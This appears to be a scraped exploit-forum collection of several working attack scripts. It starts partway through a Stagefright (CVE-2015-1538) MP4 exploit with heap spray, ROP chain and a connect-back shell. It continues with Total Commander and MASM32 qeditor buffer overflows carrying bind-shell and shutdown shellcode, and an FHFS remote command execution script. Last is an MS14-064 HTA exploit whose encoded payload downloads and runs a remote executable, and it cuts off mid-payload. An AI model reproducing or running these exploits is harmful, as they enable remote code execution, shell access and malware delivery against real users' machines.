       rop += struct.pack(‘<L’, 0xf0f00000+x)
       x += 4

   # Add the native payload…
   rop += buf

   return rop

#
# Build an mp4 that exploits CVE-2015-1538 #1
#
# We mimic meow.3gp here…
#
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
   chunks = []

   # Build the MP4 header…
   ftyp =  ‘mp42’
   ftyp += struct.pack(‘>L’, 0)
   ftyp += ‘mp42’
   ftyp += ‘isom’
   chunks.append(make_chunk(‘ftyp’, ftyp))

   # Note, this causes a few allocations…
   moov_data = ”
   moov_data += make_chunk(‘mvhd’,
       struct.pack(‘>LL’, 0, 0x41414141) +
       (‘B’ * 0x5c) )

   # Add a minimal, verified trak to satisfy mLastTrack being set
   moov_data += make_chunk(‘trak’,
       make_chunk(‘stbl’,
           make_stsc(0x28, 0x28) +
           make_stco() +
           make_stsz() +
           make_stts() ))

   # Spray the heap using a large tx3g chunk (can contain binary data!)
   “””
      0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>:   ldr r4, [r0, #4]; load mRefs
      0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>:   mov r5, r0
      0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>:   mov r6, r1
      0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>:   mov r0, r4
      0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>:  blx 0x40069884  ; atomic_decrement
      0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:  cmp r0, #1      ; must be 1
      0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>:  bne.n   0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
      0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>:  ldr r0, [r4, #8]; load refs->mBase
      0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:  ldr r1, [r0, #0]; load mBase._vptr
      0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:  ldr r2, [r1, #12]; load method address
      0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>:  mov r1, r6
      0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>:  blx r2          ; call it!
   “””
   page = ”
   off = 0  # the offset to the next object
   off += 8
   page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28)    # _vptr.RefBase (for when we smash mDataSource)
   page += struct.pack(‘<L’, sp_addr + off) # mRefs
   off += 16
   page += struct.pack(‘<L’, 1)             # mStrong
   page += struct.pack(‘<L’, 0xc0dedbad)    # mWeak
   page += struct.pack(‘<L’, sp_addr + off) # mBase
   page += struct.pack(‘<L’, 16)            # mFlags (dont set OBJECT_LIFETIME_MASK)
   off += 8
   page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase
   page += struct.pack(‘<L’, 0xf00dbabe)    # mBase.mRefs (unused)
   off += 16
   page += struct.pack(‘<L’, 0xc0de0000 + 0x00)  # vtable entry 0
   page += struct.pack(‘<L’, 0xc0de0000 + 0x04)  # vtable entry 4
   page += struct.pack(‘<L’, 0xc0de0000 + 0x08)  # vtable entry 8
   page += struct.pack(‘<L’, newpc_val)          # vtable entry 12
   rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
   x = len(page)
   while len(page) < 4096:
       page += struct.pack(‘<L’, 0xf0f00000+x)
       x += 4

   off = 0x34
   page = page[:off] + rop + page[off+len(rop):]
   spray = page * (((2*1024*1024) / len(page)) – 20)
   moov_data += make_chunk(‘tx3g’, spray)
   block = ‘A’ * 0x1c
   bigger = ‘B’ * 0x40
   udta = make_chunk(‘udta’,
       make_chunk(‘meta’,
           struct.pack(‘>L’, 0) +
           make_chunk(‘ilst’,
               make_chunk(‘cpil’,    make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) +
               make_chunk(‘trkn’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) +
               make_chunk(‘disk’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) +
               make_chunk(‘covr’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
               make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘aART’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
               make_chunk(‘gnre’,    make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) +
               make_chunk(‘covr’,    make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
               make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
               make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
               make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)))
           )
       )
   moov_data += udta

   # Make the nasty trak
   tkhd1 = ”.join([
       ‘\x00’,       # version
       ‘D’ * 3,      # padding
       ‘E’ * (5*4),  # {c,m}time, id, ??, duration
       ‘F’ * 0x10,   # ??
       struct.pack(‘>LLLLLL’,
           0x10000,  # a00
           0,        # a01
           0,        # dx
           0,        # a10
           0x10000,  # a11
           0),       # dy
       ‘G’ * 0x14
       ])

   trak1 = ”
   trak1 += make_chunk(‘tkhd’, tkhd1)

   mdhd1 = ”.join([
       ‘\x00’,       # version
       ‘D’ * 0x17,   # padding
       ])

   mdia1 = ”
   mdia1 += make_chunk(‘mdhd’, mdhd1)
   mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a)

   dinf1 = ”
   dinf1 += make_chunk(‘dref’, ‘H’ * 0x14)

   minf1 = ”
   minf1 += make_chunk(‘smhd’, ‘G’ * 0x08)
   minf1 += make_chunk(‘dinf’, dinf1)

   # Build the nasty sample table to trigger the vulnerability here.
   stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER

   # Add the stbl to the minf chunk
   minf1 += make_chunk(‘stbl’, stbl1)

   # Add the minf to the mdia chunk
   mdia1 += make_chunk(‘minf’, minf1)

   # Add the mdia to the track
   trak1 += make_chunk(‘mdia’, mdia1)

   # Add the nasty track to the moov data
   moov_data += make_chunk(‘trak’, trak1)

   # Finalize the moov chunk
   moov = make_chunk(‘moov’, moov_data)
   chunks.append(moov)

   # Combine outer chunks together and voila.
   data = ”.join(chunks)

   return data

if __name__ == ‘__main__’:
   import sys
   import mp4
   import argparse

   def write_file(path, content):
       with open(path, ‘wb’) as f:
           f.write(content)

   def addr(sval):
       if sval.startswith(‘0x’):
           return int(sval, 16)
       return int(sval)

   # The address of a fake StrongPointer object (sprayed)
   sp_addr   = 0x41d00010  # takju @ imm76i – 2MB (via hangouts)

   # The address to of our ROP pivot
   newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs

   # Allow the user to override parameters
   parser = argparse.ArgumentParser()
   parser.add_argument(‘-c’, ‘–connectback-host’, dest=‘cbhost’, default=‘31.3.3.7’)
   parser.add_argument(‘-p’, ‘–connectback-port’, dest=‘cbport’, type=int, default=12345)
   parser.add_argument(‘-s’, ‘–spray-address’, dest=‘spray_addr’, type=addr, default=None)
   parser.add_argument(‘-r’, ‘–rop-pivot’, dest=‘rop_pivot’, type=addr, default=None)
   parser.add_argument(‘-o’, ‘–output-file’, dest=‘output_file’, default=‘cve-2015-1538-1.mp4’)
   args = parser.parse_args()

   if len(sys.argv) == 1:
       parser.print_help()
       sys.exit(–1)

   if args.spray_addr == None:
       args.spray_addr = sp_addr
   if args.rop_pivot == None:
       args.rop_pivot = newpc_val

   # Build the MP4 file…
   data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
   print(‘[*] Saving crafted MP4 to %s …’ % args.output_file)
   write_file(args.output_file, data)
Total Commander 8.52 - Buffer Overflow
ID: 67686ba3b4103b69df379d0c
Thread ID: 26112
Created: 2015-09-22T07:59:28+0000
Last Post: 2015-09-22T07:59:28+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 2K

Code:Copy to clipboard

#!/usr/bin/python 
# EXPLOIT TITLE: Total Commander 8.52 Buffer Overflow 
# AUTHOR: VIKRAMADITYA "-OPTIMUS"
# Credits: Un_N0n
# Date of Testing: 19th September 2015
# Download Link : http://tcmd852.s3-us-west-1.amazonaws.com/tc852x32_b1.exe
# [B]Tested On : Windows 10 [/B]
# Steps to Exploit
# Step 1: Execute this python script
# Step 2: This script will create a file called time.txt
# Step 3: Copy the contents of time.txt file
# Step 4: Now open Total Commander 8.52
# Step 5: Go To file > Change Attributes.
# Step 6: In time field paste the contents of time.txt
# Step 7: After 5 seconds connect to the target at port 4444 with ncat/nc 
file = open('time.txt' , 'wb');
 
buffer = "\x90"*265 + "\xfe\x24\x76\x6d" + "\x90"*160                       # 265 NOPS + Jmp eax + 160 NOPS + SHELLCODE + 10 NOPS
 
# msfvenom -p windows/shell_bind_tcp -f c  -b '\x00\x0a\x0d'
 
buffer += ("\xdb\xcb\xd9\x74\x24\xf4\x5a\x31\xc9\xbe\x97\xf8\xc7\x9d\xb1"
"\x53\x31\x72\x17\x03\x72\x17\x83\x7d\x04\x25\x68\x7d\x1d\x28"
"\x93\x7d\xde\x4d\x1d\x98\xef\x4d\x79\xe9\x40\x7e\x09\xbf\x6c"
"\xf5\x5f\x2b\xe6\x7b\x48\x5c\x4f\x31\xae\x53\x50\x6a\x92\xf2"
"\xd2\x71\xc7\xd4\xeb\xb9\x1a\x15\x2b\xa7\xd7\x47\xe4\xa3\x4a"
"\x77\x81\xfe\x56\xfc\xd9\xef\xde\xe1\xaa\x0e\xce\xb4\xa1\x48"
"\xd0\x37\x65\xe1\x59\x2f\x6a\xcc\x10\xc4\x58\xba\xa2\x0c\x91"
"\x43\x08\x71\x1d\xb6\x50\xb6\x9a\x29\x27\xce\xd8\xd4\x30\x15"
"\xa2\x02\xb4\x8d\x04\xc0\x6e\x69\xb4\x05\xe8\xfa\xba\xe2\x7e"
"\xa4\xde\xf5\x53\xdf\xdb\x7e\x52\x0f\x6a\xc4\x71\x8b\x36\x9e"
"\x18\x8a\x92\x71\x24\xcc\x7c\x2d\x80\x87\x91\x3a\xb9\xca\xfd"
"\x8f\xf0\xf4\xfd\x87\x83\x87\xcf\x08\x38\x0f\x7c\xc0\xe6\xc8"
"\x83\xfb\x5f\x46\x7a\x04\xa0\x4f\xb9\x50\xf0\xe7\x68\xd9\x9b"
"\xf7\x95\x0c\x31\xff\x30\xff\x24\x02\x82\xaf\xe8\xac\x6b\xba"
"\xe6\x93\x8c\xc5\x2c\xbc\x25\x38\xcf\xd3\xe9\xb5\x29\xb9\x01"
"\x90\xe2\x55\xe0\xc7\x3a\xc2\x1b\x22\x13\x64\x53\x24\xa4\x8b"
"\x64\x62\x82\x1b\xef\x61\x16\x3a\xf0\xaf\x3e\x2b\x67\x25\xaf"
"\x1e\x19\x3a\xfa\xc8\xba\xa9\x61\x08\xb4\xd1\x3d\x5f\x91\x24"
"\x34\x35\x0f\x1e\xee\x2b\xd2\xc6\xc9\xef\x09\x3b\xd7\xee\xdc"
"\x07\xf3\xe0\x18\x87\xbf\x54\xf5\xde\x69\x02\xb3\x88\xdb\xfc"
"\x6d\x66\xb2\x68\xeb\x44\x05\xee\xf4\x80\xf3\x0e\x44\x7d\x42"
"\x31\x69\xe9\x42\x4a\x97\x89\xad\x81\x13\xb9\xe7\x8b\x32\x52"
"\xae\x5e\x07\x3f\x51\xb5\x44\x46\xd2\x3f\x35\xbd\xca\x4a\x30"
"\xf9\x4c\xa7\x48\x92\x38\xc7\xff\x93\x68")
 
buffer += "\x90" *10
 
file.write(buffer)
 
file.close()

-------------------------------------*-

Code:Copy to clipboard

#!/usr/bin/python 
# EXPLOIT TITLE: Total Commander 8.52 Buffer Overflow 
# AUTHOR: VIKRAMADITYA "-OPTIMUS"
# Credits: Un_N0n
# Date of Testing: 19th September 2015
# Download Link : http://tcmd852.s3-us-west-1.amazonaws.com/tc852x32_b1.exe
# [B]Tested On : Windows XP Service Pack 2[/B]
# Steps to Exploit
# Step 1: Execute this python script
# Step 2: This script will create a file called time.txt
# Step 3: Copy the contents of time.txt file
# Step 4: Now open Total Commander 8.52
# Step 5: Go To file > Change Attributes.
# Step 6: In time field paste the contents of time.txt
# Step 7: After 5 seconds connect to the target at port 4444 with ncat/nc 
file = open('time.txt' , 'w');
 
buffer = "\x90"*190
buffer += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" # Egghunter looking for R0cX R0cX 
 
buffer += "\x90"*(265- len(buffer))
 
buffer += "\x47\x47\xf7\x75"                                                                                                    #75F74747   FFE0             JMP EAX
 
# bad characters - \x00\x0a\x0d
# msfvenom -p windows/shell_bind_tcp -f c  -b '\x00\x0a\x0d'
 
buffer += "R0cX" + "R0cX" + ("\xbf\x46\xeb\xb1\xe7\xda\xc5\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x53\x31\x7d\x12\x83\xc5\x04\x03\x3b\xe5\x53\x12\x3f\x11\x11"
"\xdd\xbf\xe2\x76\x57\x5a\xd3\xb6\x03\x2f\x44\x07\x47\x7d\x69"
"\xec\x05\x95\xfa\x80\x81\x9a\x4b\x2e\xf4\x95\x4c\x03\xc4\xb4"
"\xce\x5e\x19\x16\xee\x90\x6c\x57\x37\xcc\x9d\x05\xe0\x9a\x30"
"\xb9\x85\xd7\x88\x32\xd5\xf6\x88\xa7\xae\xf9\xb9\x76\xa4\xa3"
"\x19\x79\x69\xd8\x13\x61\x6e\xe5\xea\x1a\x44\x91\xec\xca\x94"
"\x5a\x42\x33\x19\xa9\x9a\x74\x9e\x52\xe9\x8c\xdc\xef\xea\x4b"
"\x9e\x2b\x7e\x4f\x38\xbf\xd8\xab\xb8\x6c\xbe\x38\xb6\xd9\xb4"
"\x66\xdb\xdc\x19\x1d\xe7\x55\x9c\xf1\x61\x2d\xbb\xd5\x2a\xf5"
"\xa2\x4c\x97\x58\xda\x8e\x78\x04\x7e\xc5\x95\x51\xf3\x84\xf1"
"\x96\x3e\x36\x02\xb1\x49\x45\x30\x1e\xe2\xc1\x78\xd7\x2c\x16"
"\x7e\xc2\x89\x88\x81\xed\xe9\x81\x45\xb9\xb9\xb9\x6c\xc2\x51"
"\x39\x90\x17\xcf\x31\x37\xc8\xf2\xbc\x87\xb8\xb2\x6e\x60\xd3"
"\x3c\x51\x90\xdc\x96\xfa\x39\x21\x19\x15\xe6\xac\xff\x7f\x06"
"\xf9\xa8\x17\xe4\xde\x60\x80\x17\x35\xd9\x26\x5f\x5f\xde\x49"
"\x60\x75\x48\xdd\xeb\x9a\x4c\xfc\xeb\xb6\xe4\x69\x7b\x4c\x65"
"\xd8\x1d\x51\xac\x8a\xbe\xc0\x2b\x4a\xc8\xf8\xe3\x1d\x9d\xcf"
"\xfd\xcb\x33\x69\x54\xe9\xc9\xef\x9f\xa9\x15\xcc\x1e\x30\xdb"
"\x68\x05\x22\x25\x70\x01\x16\xf9\x27\xdf\xc0\xbf\x91\x91\xba"
"\x69\x4d\x78\x2a\xef\xbd\xbb\x2c\xf0\xeb\x4d\xd0\x41\x42\x08"
"\xef\x6e\x02\x9c\x88\x92\xb2\x63\x43\x17\xc2\x29\xc9\x3e\x4b"
"\xf4\x98\x02\x16\x07\x77\x40\x2f\x84\x7d\x39\xd4\x94\xf4\x3c"
"\x90\x12\xe5\x4c\x89\xf6\x09\xe2\xaa\xd2")
 
file.write(buffer)
 
file.close()
FHFS - FTP/HTTP File Server 2.1.2
ID: 67686ba3b4103b69df379d0d
Thread ID: 26058
Created: 2015-08-28T07:43:18+0000
Last Post: 2015-08-28T07:43:18+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 2K

Code:Copy to clipboard

#!/usr/bin/python
#
# FHFS - FTP/HTTP File Server 2.1.2 Remote Command Execution
#
# Author: Naser Farhadi
#
# Date: 26 August 2015 # Version: 2.1.2 # Tested on: Windows 7 SP1 (32 bit)
#
# Link : http://sourceforge.net/projects/fhfs/
#
# Description : FHFS is a FTP and HTTP Web Server package,
#               transparently based on HFS and FileZilla. FHFS is built to act as an all-in-one user-based file hosting website,
#               good for schools, businesses, etc. whose students/employees need to easily transport files. 
# Usage:
#       chmod +x FHFS.py
#       ./FHFS.py
#
# Video: http://youtu.be/ch5A2bQEB0I
##
 
import socket
 
url = raw_input("Enter URL : ")
try:
      while True:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((url, 80))
            cmd = raw_input("Enter command (E.g. calc) or press Ctrl+C to exit : ")
            req = "GET /?{.exec|"+cmd+".}"
            req += " HTTP/1.1\r\n\r\n"
            sock.send(req)
            sock.close()
            print "Done!"
except KeyboardInterrupt:
      print "Bye!"

PS: Актуальная версия у поставщика 2.3f

MASM321 11 Quick Editor (.qeditor) 4.0g
ID: 67686ba3b4103b69df379d0e
Thread ID: 26036
Created: 2015-08-18T13:37:24+0000
Last Post: 2015-08-18T13:37:24+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 2K

MASM321 11 Quick Editor (.qeditor) 4.0g- .qse SEH Based Buffer Overflow (ASLR & SAFESEH bypass)

Code:Copy to clipboard

#!/usr/bin/env python
#
# Exploit Title: MASM32 quick editor .QSE SEH Based Buffer Overflow (ASLR & SAFESEH bypass)
# Date: 2015-08-15
# Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
# Twitter: st0rnpentest
#
# Vendor Homepage: http://www.masm32.com/
# Software Link:   http://www.masm32.com/masmdl.htm
# Version: MASM32 11 qeditor 4.0g
# Tested on: Windows 7
#
 
 
from struct import pack
import sys
 
# 95 bytes Little Joke shellcode :p (shutdown)
# The shellcode must be printable
shellcode=""
shellcode+="\x89\xE3"
shellcode+="\xDB\xC2"
shellcode+="\xD9\x73\xF4"
shellcode+="\x5E"
shellcode+="VYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIOKEoDFPNEsFQIYLqEeKjKcIICDDdIdQJNcKrGtFQQJDKGsQJF"
shellcode+="THdMkIONBPaG3GPGBB2HMKuDCC0OYNnEaMDH9O3LyQOHoJWCzDmP8KGIkLXGnGFIlDlMOOdEnFNQsHgEBJ0PZFHQwKaMKF5OwLCD4D"
shellcode+="QP5DtJPE7OuP5JvJCMeBmCcDsQQKTQJBDKIBSEDOlQbIKK5MMBwEoJYN4KlHtMYJFDtKuBRKiBXOzBlJuBUIBLIKbPeMqKQEpFxNRP1"
shellcode+="CjHFGGOTKLNmIpDLKLG2D6O6L2DoKLOpGfNNJqLzQ3GKKdPlMrQoL3NHHnFDOjIyPJNkOSIzFSD4EVCPKaE1FPFKOLQdNPPQHyD6KzQI"
shellcode+="NJENKKN2FEF9GtDqFbLUBnGhFCEmEGIXQaGPI8Q6LuClDkISG6OkDsOVQSKPIcQJGNQiOfClHmPzNSFNQiL1PHOEDVLNINDUITDCEoCKBBO3DNOKLJAA"
 
 
nop="\x90"*(1140-35)        # Destination of jump: qeditor add 8C opcode (mov in assembly) which crash qeditor
bypass="\xe2"               # with the nop (8C90 90909090) to bypass this we can use different opcodes.
endnop="\x90"*34            # The opcode e2 make the instruction 8ce2 (MOV DX,FS) and the execution flow
nop+=bypass+endnop          # can be continued
                              
 
junk="\x90"*(1704-95)       # Junk after shellcode
padding='\x62'*52           # 52 bytes available after SE Handler
 
 
jump="\xe9\x14\xf5\xff\xff" # jump to the nop
nseh="\xeb\xf9\x90\x90"     # jump to previous instruction
seh=pack("<I",0x00406a25)   # asciiprint: pop edi pop esi ret (C:\masm32\qeditor.exe)
 
 
payload=nop+shellcode+junk+jump+nseh+seh+padding
 
try:
 f=open("evil.qse","w")
 f.write(payload)
 f.close()
 print "Evil QSE script created!\nHack'n'Roll"
except:
 print "Can't create Evil QSE script :'("
 sys.exit(0)
Microsoft Windows HTA Remote Code Execution
ID: 67686ba3b4103b69df379d0f
Thread ID: 26035
Created: 2015-08-18T07:30:28+0000
Last Post: 2015-08-18T07:30:28+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 2K

Microsoft Windows HTA (HTML Application) remote code execution exploit that leverages MS14-064.

Title : Microsoft Windows HTA (HTML Application) - Remote Code Execution

Tested on Windows 7 / Server 2008

Author : Mohammad Reza Espargham

Linkedin : https://ir.linkedin.com/in/rezasp

E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com

Website : www.reza.es

Twitter : https://twitter.com/rezesp

FaceBook : https://www.facebook.com/mohammadreza.espargham

MS14-064

1 . run php code : php hta.php

2 . copy this php output (HTML) and Paste as poc.hta (Replace ip)

3 . open poc.hta

4 . Your Link Download/Execute on your target

**5 .

Finished;)**

Demo :http://youtu.be/Vkswz7vt23M

Click to expand...

Code:Copy to clipboard

     #!/usr/bin/php
<?php
    $port=80; # Port Address
    $link="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe"; # Your exe link
     
     
     
    print "    Mohammad Reza Espargham\n\n\n";
     
    $host= gethostname(); #g3th0stn4m3
    $ip = gethostbyname($host); #g3th0stbyn4m3
     
    print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . '"></head></html>'."\n\n";
 
    $reza = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to create socket!');
    socket_bind($reza, 0,$port);
    socket_listen($reza);
     
    $msgd =
    "\x3c\x68\x74\x6d\x6c\x3e\x0d\x0a\x3c\x6d\x65\x74\x61\x20\x68\x74\x74\x70\x2d\x65\x71\x75\x69\x76".
    "\x3d\x22\x58\x2d\x55\x41\x2d\x43\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x22\x20\x63\x6f\x6e\x74\x65".
    "\x6e\x74\x3d\x22\x49\x45\x3d\x45\x6d\x75\x6c\x61\x74\x65\x49\x45\x38\x22\x20\x3e\x0d\x0a\x3c\x68".
    "\x65\x61\x64\x3e\x0d\x0a\x3c\x2f\x68\x65\x61\x64\x3e\x0d\x0a\x3c\x62\x6f\x64\x79\x3e\x0d\x0a\x20".
    "\x0d\x0a\x3c\x53\x43\x52\x49\x50\x54\x20\x4c\x41\x4e\x47\x55\x41\x47\x45\x3d\x22\x56\x42\x53\x63".
    "\x72\x69\x70\x74\x22\x3e\x0d\x0a\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x72\x75\x6e\x6d\x75".
    "\x6d\x61\x61\x28\x29\x20\x0d\x0a\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20".
    "\x4e\x65\x78\x74\x0d\x0a\x73\x65\x74\x20\x73\x68\x65\x6c\x6c\x3d\x63\x72\x65\x61\x74\x65\x6f\x62".
    "\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22".
    "\x29\x0d\x0a\x63\x6f\x6d\x6d\x61\x6e\x64\x3d\x22\x49\x6e\x76\x6f\x6b\x65\x2d\x45\x78\x70\x72\x65".
    "\x73\x73\x69\x6f\x6e\x20\x24\x28\x4e\x65\x77\x2d\x4f\x62\x6a\x65\x63\x74\x20\x53\x79\x73\x74\x65".
    "\x6d\x2e\x4e\x65\x74\x2e\x57\x65\x62\x43\x6c\x69\x65\x6e\x74\x29\x2e\x44\x6f\x77\x6e\x6c\x6f\x61".
    "\x64\x46\x69\x6c\x65\x28\x27\x46\x49\x4c\x45\x5f\x44\x4f\x57\x4e\x4c\x4f\x41\x44\x27\x2c\x27\x6c".
    "\x6f\x61\x64\x2e\x65\x78\x65\x27\x29\x3b\x24\x28\x4e\x65\x77\x2d\x4f\x62\x6a\x65\x63\x74\x20\x2d".
    "\x63\x6f\x6d\x20\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x29\x2e\x53".
    "\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x27\x6c\x6f\x61\x64\x2e\x65\x78\x65\x27\x29\x3b".
    "\x22\x0d\x0a\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x20\x22\x70".
    "\x6f\x77\x65\x72\x73\x68\x65\x6c\x6c\x2e\x65\x78\x65\x22\x2c\x20\x22\x2d\x43\x6f\x6d\x6d\x61\x6e".
    "\x64\x20\x22\x20\x26\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x2c\x20\x22\x22\x2c\x20\x22\x72\x75\x6e\x61".
    "\x73\x22\x2c\x20\x30\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x3c\x2f\x73".
    "\x63\x72\x69\x70\x74\x3e\x0d\x0a\x20\x0d\x0a\x3c\x53\x43\x52\x49\x50\x54\x20\x4c\x41\x4e\x47\x55".
    "\x41\x47\x45\x3d\x22\x56\x42\x53\x63\x72\x69\x70\x74\x22\x3e\x0d\x0a\x20\x20\x0d\x0a\x64\x69\x6d".
    "\x20\x20\x20\x61\x61\x28\x29\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x62\x28\x29\x0d\x0a\x64\x69\x6d".
    "\x20\x20\x20\x61\x30\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x31\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61".
    "\x32\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x33\x0d\x0a\x64\x69\x6d\x20\x20\x20\x77\x69\x6e\x39\x78".
    "\x0d\x0a\x64\x69\x6d\x20\x20\x20\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x0d\x0a\x64\x69\x6d\x20".
    "\x20\x20\x72\x6e\x64\x61\x0d\x0a\x64\x69\x6d\x20\x20\x20\x66\x75\x6e\x63\x6c\x61\x73\x73\x0d\x0a".
    "\x64\x69\x6d\x20\x20\x20\x6d\x79\x61\x72\x72\x61\x79\x0d\x0a\x20\x0d\x0a\x42\x65\x67\x69\x6e\x28".
    "\x29\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x42\x65\x67\x69\x6e\x28\x29\x0d\x0a".
    "\x20\x20\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a".
    "\x20\x20\x69\x6e\x66\x6f\x3d\x4e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x55\x73\x65\x72\x41\x67\x65".
    "\x6e\x74\x0d\x0a\x20\x0d\x0a\x20\x20\x69\x66\x28\x69\x6e\x73\x74\x72\x28\x69\x6e\x66\x6f\x2c\x22".
    "\x57\x69\x6e\x36\x34\x22\x29\x3e\x30\x29\x20\x20\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20".
    "\x65\x78\x69\x74\x20\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x20\x65\x6e\x64\x20\x69".
    "\x66\x0d\x0a\x20\x0d\x0a\x20\x20\x69\x66\x20\x28\x69\x6e\x73\x74\x72\x28\x69\x6e\x66\x6f\x2c\x22".
    "\x4d\x53\x49\x45\x22\x29\x3e\x30\x29\x20\x20\x20\x74\x68\x65\x6e\x20\x0d\x0a\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x20\x3d\x20\x43\x49\x6e".
    "\x74\x28\x4d\x69\x64\x28\x69\x6e\x66\x6f\x2c\x20\x49\x6e\x53\x74\x72\x28\x69\x6e\x66\x6f\x2c\x20".
    "\x22\x4d\x53\x49\x45\x22\x29\x20\x2b\x20\x35\x2c\x20\x32\x29\x29\x20\x20\x20\x0d\x0a\x20\x20\x65".
    "\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x20\x65\x78\x69\x74\x20\x20\x20\x66\x75\x6e\x63\x74\x69\x6f".
    "\x6e\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x65".
    "\x6e\x64\x20\x69\x66\x0d\x0a\x20\x0d\x0a\x20\x20\x77\x69\x6e\x39\x78\x3d\x30\x0d\x0a\x20\x0d\x0a".
    "\x20\x20\x42\x65\x67\x69\x6e\x49\x6e\x69\x74\x28\x29\x0d\x0a\x20\x20\x49\x66\x20\x43\x72\x65\x61".
    "\x74\x65\x28\x29\x3d\x54\x72\x75\x65\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x61".
    "\x72\x72\x61\x79\x3d\x20\x20\x20\x20\x20\x20\x20\x20\x63\x68\x72\x77\x28\x30\x31\x29\x26\x63\x68".
    "\x72\x77\x28\x32\x31\x37\x36\x29\x26\x63\x68\x72\x77\x28\x30\x31\x29\x26\x63\x68\x72\x77\x28\x30".
    "\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72".
